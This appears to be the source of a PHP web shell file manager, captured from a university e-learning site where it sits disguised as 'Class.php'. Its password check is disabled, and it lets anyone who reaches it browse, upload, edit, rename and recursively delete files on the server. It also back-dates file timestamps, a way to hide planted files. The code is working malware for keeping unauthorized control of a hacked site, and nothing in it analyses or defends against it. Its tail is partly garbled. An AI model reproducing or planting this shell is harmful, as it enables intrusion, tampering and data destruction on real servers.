eclass.unmer.ac.id

Edit File: Class.php

<?php
# Konfigurasyon
$sayfaSifreleme ='0'; # 1 acik , 0 kapali
$kullaniciAdi = '123';
$sifre = '123';

# yetki kontrol fonksiyonu
function yetkiKontrol($kullaniciAdi,$sifre) {
if(empty($_SERVER['PHP_AUTH_USER']) || empty($_SERVER['PHP_AUTH_PW']) || $_SERVER['PHP_AUTH_USER'] != "$kullaniciAdi" || $_SERVER['PHP_AUTH_PW'] != "$sifre") {
header('WWW-Authenticate: Basic realm="x"');
die(header('HTTP/1.0 401 Unauthorized'));
}
}

# Sayfa Sifreleme aciksa
if($sayfaSifreleme =='1') {
# Veri ve sifre kontrolu
yetkiKontrol($kullaniciAdi,$sifre);
}

?> 
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>eclass.unmer.ac.id</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet"
        integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css"
        integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ=="
        crossorigin="anonymous" referrerpolicy="no-referrer" />
    <style>
        body {
            background-color: #1a1a2e;
            color: #e4e4e4;
        }

.navbar {
            background-color: #0f3460 !important;
            border-bottom: 1px solid #2d3748;
        }

.navbar a {
            color: #e4e4e4;
            text-decoration: none;
        }

.navbar a:hover {
            color: #60a5fa;
        }

.table {
            background-color: #16213e;
            color: #e4e4e4;
        }

.table th {
            background-color: #0f3460;
            color: #e4e4e4;
            border-color: #2d3748;
        }

.table td {
            border-color: #2d3748;
            color: #e4e4e4;
        }

.table-hover tbody tr:hover {
            background-color: #2d3748;
            color: #e4e4e4;
        }

.table a {
            color: #60a5fa;
            text-decoration: none;
        }

.table a:hover {
            text-decoration: underline;
        }

.btn-dark {
            background-color: #4a5568;
            border-color: #4a5568;
            color: #ffffff;
        }

.btn-dark:hover {
            background-color: #5a6a7a;
            border-color: #5a6a7a;
        }

.form-control, textarea, input[type="text"], input[type="file"], input[type="datetime-local"] {
            background-color: #16213e;
            color: #e4e4e4;
            border-color: #2d3748;
        }

.form-control:focus, textarea:focus, input:focus {
            background-color: #16213e;
            color: #e4e4e4;
            border-color: #60a5fa;
            box-shadow: 0 0 0 0.2rem rgba(96, 165, 250, 0.25);
        }

textarea {
            background-color: #16213e !important;
            color: #e4e4e4 !important;
        }

.form-section {
            background-color: #16213e;
            padding: 20px;
            border-radius: 8px;
            margin: 15px 0;
            border: 1px solid #2d3748;
        }

.form-section label {
            color: #e4e4e4;
        }

.bulk-checkbox {
            width: 18px;
            height: 18px;
            cursor: pointer;
        }

.bulk-actions {
            display: none;
            background-color: #0f3460;
            padding: 10px 15px;
            border-radius: 5px;
            margin: 10px 0;
            align-items: center;
            gap: 15px;
        }

.bulk-actions.show {
            display: flex;
        }

.selected-count {
            font-weight: bold;
            color: #e4e4e4;
        }

#selectAll {
            width: 18px;
            height: 18px;
            cursor: pointer;
        }

.action-icons a {
            margin-right: 8px;
            color: #a0a0a0;
        }

.action-icons a:hover {
            color: #60a5fa;
        }

.alert-success {
            background-color: #065f46;
            border-color: #047857;
            color: #d1fae5;
        }

.alert-danger {
            background-color: #7f1d1d;
            border-color: #991b1b;
            color: #fecaca;
        }

.btn-secondary {
            background-color: #374151;
            border-color: #374151;
        }

.btn-secondary:hover {
            background-color: #4b5563;
            border-color: #4b5563;
        }

.btn-danger {
            background-color: #dc2626;
            border-color: #dc2626;
        }

.btn-danger:hover {
            background-color: #b91c1c;
            border-color: #b91c1c;
        }
    </style>
</head>

<body>

<?php

//function
    function formatSizeUnits($bytes)
    {
        if ($bytes >= 1073741824) {
            $bytes = number_format($bytes / 1073741824, 2) . ' GB';
        } elseif ($bytes >= 1048576) {
            $bytes = number_format($bytes / 1048576, 2) . ' MB';
        } elseif ($bytes >= 1024) {
            $bytes = number_format($bytes / 1024, 2) . ' KB';
        } elseif ($bytes > 1) {
            $bytes = $bytes . ' bytes';
        } elseif ($bytes == 1) {
            $bytes = $bytes . ' byte';
        } else {
            $bytes = '0 bytes';
        }
        return $bytes;
    }

function fileExtension($file)
    {
        return substr(strrchr($file, '.'), 1);
    }

function encodePath($path)
    {
        $a = array("/", "\\", ".", ":");
        $b = array("ক", "খ", "গ", "ঘ");
        return str_replace($a, $b, $path);
    }
    function decodePath($path)
    {
        $a = array("/", "\\", ".", ":");
        $b = array("ক", "খ", "গ", "ঘ");
        return str_replace($b, $a, $path);
    }

// Delete directory recursively
    function deleteDirectory($dir) {
        if (!is_dir($dir)) {
            return false;
        }
        $files = array_diff(scandir($dir), array('.', '..'));
        foreach ($files as $file) {
            $path = $dir . '/' . $file;
            if (is_dir($path)) {
                deleteDirectory($path);
            } else {
                unlink($path);
            }
        }
        return rmdir($dir);
    }

$root_path = __DIR__;
    if (isset($_GET['p'])) {
        if (empty($_GET['p'])) {
            $p = $root_path;
        } elseif (!is_dir(decodePath($_GET['p']))) {
            echo ("<script>\nalert('Directory is Corrupted and Unreadable.');\nwindow.location.replace('?');\n</script>");
        } elseif (is_dir(decodePath($_GET['p']))) {
            $p = decodePath($_GET['p']);
        }
    } elseif (isset($_GET['q'])) {
        if (!is_dir(decodePath($_GET['q']))) {
            echo ("<script>window.location.replace('?p=');</script>");
        } elseif (is_dir(decodePath($_GET['q']))) {
            $p = decodePath($_GET['q']);
        }
    } else {
        $p = $root_path;
    }
    define("PATH", $p);

// Handle bulk delete
    if (isset($_POST['bulk_delete']) && isset($_POST['selected_items'])) {
        $items = $_POST['selected_items'];
        $success = 0;
        $failed = 0;
        foreach ($items as $item) {
            $itemPath = PATH . "/" . $item;
            if (is_file($itemPath)) {
                if (unlink($itemPath)) {
                    $success++;
                } else {
                    $failed++;
                }
            } elseif (is_dir($itemPath)) {
                if (deleteDirectory($itemPath)) {
                    $success++;
                } else {
                    $failed++;
                }
            }
        }
        echo ("<script>alert('Deleted: $success items. Failed: $failed items.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
    }

// Handle create new file
    if (isset($_POST['create_file'])) {
        $newFileName = trim($_POST['new_filename']);
        if (!empty($newFileName)) {
            $newFilePath = PATH . "/" . $newFileName;
            if (file_exists($newFilePath)) {
                echo ("<script>alert('File or folder already exists!'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            } else {
                $content = isset($_POST['new_file_content']) ? $_POST['new_file_content'] : '';
                if (file_put_contents($newFilePath, $content) !== false) {
                    echo ("<script>alert('File created successfully!'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
                } else {
                    echo ("<script>alert('Error creating file!'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
                }
            }
        }
    }

// Handle create new folder
    if (isset($_POST['create_folder'])) {
        $newFolderName = trim($_POST['new_foldername']);
        if (!empty($newFolderName)) {
            $newFolderPath = PATH . "/" . $newFolderName;
            if (file_exists($newFolderPath)) {
                echo ("<script>alert('File or folder already exists!'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            } else {
                if (mkdir($newFolderPath, 0755)) {
                    echo ("<script>alert('Folder created successfully!'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
                } else {
                    echo ("<script>alert('Error creating folder!'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
                }
            }
        }
    }

// Handle change file date
    if (isset($_POST['change_date']) && isset($_GET['t'])) {
        $targetFile = PATH . "/" . $_GET['t'];
        $newDate = strtotime($_POST['new_datetime']);
        if ($newDate && file_exists($targetFile)) {
            if (touch($targetFile, $newDate, $newDate)) {
                echo ("<script>alert('Date changed successfully!'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            } else {
                echo ("<script>alert('Error changing date!'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            }
        }
    }

echo ('
<nav class="navbar navbar-light">
  <div class="navbar-brand">
  <a href="?"><img src="https://github.com/fluidicon.png" width="30" height="30" alt=""></a>
');

$path = str_replace('\\', '/', PATH);
    $paths = explode('/', $path);
    foreach ($paths as $id => $dir_part) {
        if ($dir_part == '' && $id == 0) {
            $a = true;
            echo "<a href=\"?p=/\">/</a>";
            continue;
        }
        if ($dir_part == '')
            continue;
        echo "<a href='?p=";
        for ($i = 0; $i <= $id; $i++) {
            echo str_replace(":", "ঘ", $paths[$i]);
            if ($i != $id)
                echo "ক";
        }
        echo "'>" . $dir_part . "</a>/";
    }
    echo ('
</div>
<div class="form-inline d-flex gap-2">
<a href="?newfile&q=' . urlencode(encodePath(PATH)) . '"><button class="btn btn-dark" type="button"><i class="fa-solid fa-file-circle-plus"></i> New File</button></a>
<a href="?newfolder&q=' . urlencode(encodePath(PATH)) . '"><button class="btn btn-dark" type="button"><i class="fa-solid fa-folder-plus"></i> New Folder</button></a>
<a href="?upload&q=' . urlencode(encodePath(PATH)) . '"><button class="btn btn-dark" type="button"><i class="fa-solid fa-upload"></i> Upload</button></a>
<a href="?"><button type="button" class="btn btn-dark"><i class="fa-solid fa-home"></i> HOME</button></a> 
</div>
</nav>');

// New File Form
    if (isset($_GET['newfile'])) {
        echo '
    <div class="form-section">
        <h5><i class="fa-solid fa-file-circle-plus"></i> Create New File</h5>
        <form method="post">
            <div class="mb-3">
                <label class="form-label">File Name:</label>
                <input type="text" class="form-control" name="new_filename" placeholder="example.txt" required>
            </div>
            <div class="mb-3">
                <label class="form-label">Content (optional):</label>
                <textarea class="form-control" name="new_file_content" rows="5" placeholder="Enter file content..."></textarea>
            </div>
            <button type="submit" class="btn btn-dark" name="create_file"><i class="fa-solid fa-plus"></i> Create File</button>
            <a href="?p=' . encodePath(PATH) . '" class="btn btn-secondary">Cancel</a>
        </form>
    </div>';
    }

// New Folder Form
    if (isset($_GET['newfolder'])) {
        echo '
    <div class="form-section">
        <h5><i class="fa-solid fa-folder-plus"></i> Create New Folder</h5>
        <form method="post">
            <div class="mb-3">
                <label class="form-label">Folder Name:</label>
                <input type="text" class="form-control" name="new_foldername" placeholder="new-folder" required>
            </div>
            <button type="submit" class="btn btn-dark" name="create_folder"><i class="fa-solid fa-plus"></i> Create Folder</button>
            <a href="?p=' . encodePath(PATH) . '" class="btn btn-secondary">Cancel</a>
        </form>
    </div>';
    }

// Change Date Form
    if (isset($_GET['t']) && isset($_GET['q'])) {
        $targetFile = PATH . "/" . $_GET['t'];
        if (file_exists($targetFile)) {
            $currentDate = date('Y-m-d\TH:i', filemtime($targetFile));
            echo '
    <div class="form-section">
        <h5><i class="fa-solid fa-calendar-alt"></i> Change Date/Time for: ' . htmlspecialchars($_GET['t']) . '</h5>
        <form method="post">
            <div class="mb-3">
                <label class="form-label">New Date/Time:</label>
                <input type="datetime-local" class="form-control" name="new_datetime" value="' . $currentDate . '" required>
            </div>
            <button type="submit" class="btn btn-dark" name="change_date"><i class="fa-solid fa-save"></i> Change Date</button>
            <a href="?p=' . encodePath(PATH) . '" class="btn btn-secondary">Cancel</a>
        </form>
    </div>';
        }
    }

if (isset($_GET['p'])) {

//fetch files
        if (is_readable(PATH)) {
            $fetch_obj = scandir(PATH);
            $folders = array();
            $files = array();
            foreach ($fetch_obj as $obj) {
                if ($obj == '.' || $obj == '..') {
                    continue;
                }
                $new_obj = PATH . '/' . $obj;
                if (is_dir($new_obj)) {
                    array_push($folders, $obj);
                } elseif (is_file($new_obj)) {
                    array_push($files, $obj);
                }
            }
        }

// Bulk Actions Bar
        echo '
<form method="post" id="bulkForm">
<div class="bulk-actions" id="bulkActions">
    <span class="selected-count"><span id="selectedCount">0</span> item(s) selected</span>
    <button type="submit" name="bulk_delete" class="btn btn-danger btn-sm" onclick="return confirm(\'Are you sure you want to delete selected items?\')">
        <i class="fa-solid fa-trash"></i> Delete Selected
    </button>
    <button type="button" class="btn btn-secondary btn-sm" onclick="deselectAll()">
        <i class="fa-solid fa-xmark"></i> Cancel
    </button>
</div>
';

echo '
<table class="table table-hover">
  <thead>
    <tr>
      <th scope="col" style="width: 40px;"><input type="checkbox" id="selectAll" onclick="toggleSelectAll()" title="Select All"></th>
      <th scope="col">Name</th>
      <th scope="col">Size</th>
      <th scope="col">Modified</th>
      <th scope="col">Perms</th>
      <th scope="col">Actions</th>
    </tr>
  </thead>
  <tbody>
';
        foreach ($folders as $folder) {
            echo "    <tr>
      <td><input type='checkbox' class='bulk-checkbox' name='selected_items[]' value='" . htmlspecialchars($folder) . "' onchange='updateBulkActions()'></td>
      <td><i class='fa-solid fa-folder'></i> <a href='?p=" . urlencode(encodePath(PATH . "/" . $folder)) . "'>" . htmlspecialchars($folder) . "</a></td>
      <td><b>---</b></td>
      <td>". date("F d Y H:i:s", filemtime(PATH . "/" . $folder)) . "</td>
      <td>0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "</td>
      <td class='action-icons'>
      <a title='Change Date' href='?q=" . urlencode(encodePath(PATH)) . "&t=" . urlencode($folder) . "'><i class='fa-solid fa-calendar-alt'></i></a>
      <a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . urlencode($folder) . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
      <a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . urlencode($folder) . "' onclick=\"return confirm('Delete this folder?')\"><i class='fa fa-trash' aria-hidden='true'></i></a>
      </td>
    </tr>
";
        }
        foreach ($files as $file) {
            echo "    <tr>
          <td><input type='checkbox' class='bulk-checkbox' name='selected_items[]' value='" . htmlspecialchars($file) . "' onchange='updateBulkActions()'></td>
          <td>" . fileIcon($file) . htmlspecialchars($file) . "</td>
          <td>" . formatSizeUnits(filesize(PATH . "/" . $file)) . "</td>
          <td>" . date("F d Y H:i:s", filemtime(PATH . "/" . $file)) . "</td>
          <td>0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . "</td>
          <td class='action-icons'>
          <a title='Edit File' href='?q=" . urlencode(encodePath(PATH)) . "&e=" . urlencode($file) . "'><i class='fa-solid fa-file-pen'></i></a>
          <a title='Change Date' href='?q=" . urlencode(encodePath(PATH)) . "&t=" . urlencode($file) . "'><i class='fa-solid fa-calendar-alt'></i></a>
          <a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . urlencode($file) . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
          <a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . urlencode($file) . "' onclick=\"return confirm('Delete this file?')\"><i class='fa fa-trash' aria-hidden='true'></i></a>
          </td>
    </tr>
";
        }
        echo "  </tbody>
</table>
</form>";
    } else {
        if (empty($_GET)) {
            echo ("<script>window.location.replace('?p=');</script>");
        }
    }
    if (isset($_GET['upload'])) {
        echo '
    <div class="form-section">
        <h5><i class="fa-solid fa-upload"></i> Upload File</h5>
        <form method="post" enctype="multipart/form-data">
            <div class="mb-3">
                <label class="form-label">Select file to upload:</label>
                <input type="file" class="form-control" name="fileToUpload" id="fileToUpload" required>
            </div>
            <button type="submit" class="btn btn-dark" name="upload"><i class="fa-solid fa-upload"></i> Upload</button>
            <a href="?p=' . encodePath(PATH) . '" class="btn btn-secondary">Cancel</a>
        </form>
    </div>';
    }
    if (isset($_GET['r'])) {
        if (!empty($_GET['r']) && isset($_GET['q'])) {
            echo '
    <div class="form-section">
        <h5><i class="fa-sharp fa-regular fa-pen-to-square"></i> Rename</h5>
        <form method="post">
            <div class="mb-3">
                <label class="form-label">New Name:</label>
                <input type="text" class="form-control" name="name" value="' . htmlspecialchars($_GET['r']) . '" required>
            </div>
            <button type="submit" class="btn btn-dark" name="rename"><i class="fa-solid fa-save"></i> Rename</button>
            <a href="?p=' . encodePath(PATH) . '" class="btn btn-secondary">Cancel</a>
        </form>
    </div>';
            if (isset($_POST['rename'])) {
                $name = PATH . "/" . $_GET['r'];
                if(rename($name, PATH . "/" . $_POST['name'])) {
                    echo ("<script>alert('Renamed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
                } else {
                    echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
                }
            }
        }
    }

if (isset($_GET['e'])) {
        if (!empty($_GET['e']) && isset($_GET['q'])) {
            echo '
    <div class="form-section">
        <h5><i class="fa-solid fa-file-pen"></i> Edit File: ' . htmlspecialchars($_GET['e']) . '</h5>
        <form method="post">
            <textarea class="form-control" style="height: 500px; font-family: monospace;" name="data">' . htmlspecialchars(file_get_contents(PATH."/".$_GET['e'])) . '</textarea>
            <br>
            <button type="submit" class="btn btn-dark" name="edit"><i class="fa-solid fa-save"></i> Save</button>
            <a href="?p=' . encodePath(PATH) . '" class="btn btn-secondary">Cancel</a>
        </form>
    </div>';

if(isset($_POST['edit'])) {
        $filename = PATH."/".$_GET['e'];
        $data = $_POST['data'];
        $open = fopen($filename,"w");
        if(fwrite($open,$data)) {
            echo ("<script>alert('Saved.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        } else {
            echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        }
        fclose($open);
    }
        }
    }

if (isset($_POST["upload"])) {
        $target_file = PATH . "/" . $_FILES["fileToUpload"]["name"];
        if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
            echo "<div class='alert alert-success m-3'>".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.</div>";
        } else {
            echo "<div class='alert alert-danger m-3'>Sorry, there was an error uploading your file.</div>";
        }

}
    if (isset($_GET['d']) && isset($_GET['q'])) {
        $name = PATH . "/" . $_GET['d'];
        if (is_file($name)) {
            if(unlink($name)) {
                echo ("<script>alert('File removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            } else {
                echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            }
        } elseif (is_dir($name)) {
            if(deleteDirectory($name)) {
                echo ("<script>alert('Directory removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            } else {
                echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            }
        }
    }
    ?>

function toggleSelectAll() {
            const selectAll = document.getElementById('selectAll');
            const checkboxes = document.querySelectorAll('.bulk-checkbox');
            
            checkboxes.forEach(checkbox => {
                checkbox.checked = selectAll.checked;
            });
            
            updateBulkActions();
        }

function deselectAll() {
            const selectAll = document.getElementById('selectAll');
            const checkboxes = document.querySelectorAll('.bulk-checkbox');
            
            selectAll.checked = false;
            checkboxes.forEach(checkbox => {
                checkbox.checked = false;
            });
            
            updateBulkActions();
        }
    </script>
</body>

</html>

Cancel